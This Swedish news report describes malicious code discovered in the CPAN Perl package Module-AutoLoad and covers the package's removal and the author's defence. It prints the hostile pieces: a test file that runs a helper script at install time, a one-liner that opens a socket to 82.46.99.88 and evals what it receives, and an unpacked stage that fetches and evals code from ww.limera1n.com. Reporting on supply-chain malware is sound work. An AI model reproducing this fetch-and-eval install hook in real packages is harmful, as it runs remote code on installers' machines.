I Perl-paketet Module-AutoLoad har skadlig kod identifierats

I paketet som distribueras via CPAN-katalogen Module-AutoLoad, avsett för automatisk laddning av CPAN-moduler i realtid, har identifierats skadlig kod. Den skadliga insatsen har hittats i testkoden 05_rcx.t, som har levererats sedan 2011.
Det är värt att notera att frågor om laddning av tveksam kod uppkom på Stackoverflow redan 2016.

Den skadliga aktiviteten går ut på att försöka ladda och köra kod från en extern server (http://r.cx:1/) under körningen av testsviten som körs vid installation av modulen. Det antas att koden som först laddas från den externa servern inte var skadlig, men nu omdirigeras förfrågan till domänen ww.limera1n.com, som levererar sin del av koden för exekvering.

För att organisera laddningen används följande kod i filen 05_rcx.t :

my $prog = __FILE__;
$prog =~ s{[^/]+\.t}{../contrib/RCX.pl}x;
my $try = `$^X $prog`;

Den specificerade koden leder till exekvering av skriptet ../contrib/RCX.pl, vars innehåll utgörs av raden:

use lib do{eval&&botstrap(«RCX»)if$b=new IO::Socket::INET 82.46.99.88.»:1″};

Detta skript laddar förvirrad via tjänsten perlobfuscator.com kod från en extern värd r.cx (IP-adresserna 82.46.99.88 motsvarar texten «R.cX») och exekverar den i ett eval-block.

$ perl -MIO::Socket -e’$b=new IO::Socket::INET 82.46.99.88.»:1″; print ;
eval unpack u=>q{_<'I;G1[)&(];F5W($E/.CI3;V-K970Z.DE….}

Efter avpaketering utförs följande kod:

print{$b=new IO::Socket::INET»ww.limera1n.com:80″}»GET /iJailBreak
«;evalor return warn$@while$b;1

För närvarande har det problematiska paketet tagits bort från lagret PAUSE (Perl Authors Upload Server), och författarens konto har blivit låst. Modulen förblir dock är tillgänglig i arkivet MetaCPAN och kan installeras direkt från MetaCPAN med hjälp av vissa verktyg, såsom cpanminus. Det noterades, att paketet inte var allmänt distribuerat.

Det är intressant att diskussionen drog igång och författaren av modulen som motbevisade informationen om att skadlig kod placerades efter att hans webbplats "r.cx" blev hackad, förklarade att han helt enkelt hade roat sig, och att perlobfuscator.com användes inte för att dölja något, utan för att förkorta kodens storlek och förenkla kopieringen genom urklipp. Valet av funktionen "botstrap" förklarades med att det ordet "låter som bot och är kortare än bootstrap". Författaren av modulen försäkrade också att de identifierade manipulationerna inte utför skadliga handlingar, utan bara visar lastning och utförande av kod via TCP.

Källa: opennet.ru